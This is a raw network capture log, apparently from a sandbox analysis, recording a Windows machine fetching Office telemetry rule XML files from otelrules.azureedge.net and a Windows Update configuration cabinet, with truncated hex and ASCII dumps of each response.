2024-11-24 09:24:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:02 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0cf5f3f5-601e-003e-691a-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092402Z-178bfbc474brk967hC1NYCfu6000000005p0000000001av3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:02 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:01 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:02 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: c53d1c68-c01e-0079-4ae2-3de51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092402Z-178bfbc474btrnf9hC1NYCb80g00000005tg00000000e73c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:02 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:01 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:02 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4857c71c-401e-0067-7e3a-3c09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092402Z-15b8b599d882hxlwhC1TEBfa5w000000040g00000000fn6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:02 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:02 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:02 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: fa8f60f6-901e-0083-3159-3cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092402Z-15b8b599d889fz52hC1TEB59as000000044000000000dthw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:02 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:04 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:04 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1a818a33-b01e-005c-4475-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092404Z-174c587ffdfdwxdvhC1TEB1c4n000000046g0000000064p8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:04 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:04 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:04 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 8b201486-c01e-008d-1417-3e2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092404Z-178bfbc474bq2pr7hC1NYCkfgg00000005v0000000008fzh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:04 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:04 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:04 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092404Z-178bfbc474bw8bwphC1NYC38b400000005p000000000398m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:04 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:04 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:04 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092404Z-178bfbc474bwlrhlhC1NYCy3kg00000005sg0000000060kb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:04 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:04 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:05 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: ff8c7f57-901e-00a0-685c-3d6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092405Z-15b8b599d88cn5thhC1TEBqxkn000000044g0000000076bp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49795	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:06 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SPyVaKnKCexkNSH&MD=pMe5LR7n HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 09:24:06 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 92e03936-8835-4251-854f-503c67438bc3 MS-RequestId: 8f91a89e-5375-4c7c-888a-9a6e3673738f MS-CV: xh+erz6+MUe/lcCp.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 09:24:05 GMT Connection: close Content-Length: 30005
2024-11-24 09:24:06 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-24 09:24:06 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:06 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:06 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: dd6cf878-401e-0067-68b9-3b09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092406Z-15b8b599d882hxlwhC1TEBfa5w000000041g00000000d42v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:06 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:06 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
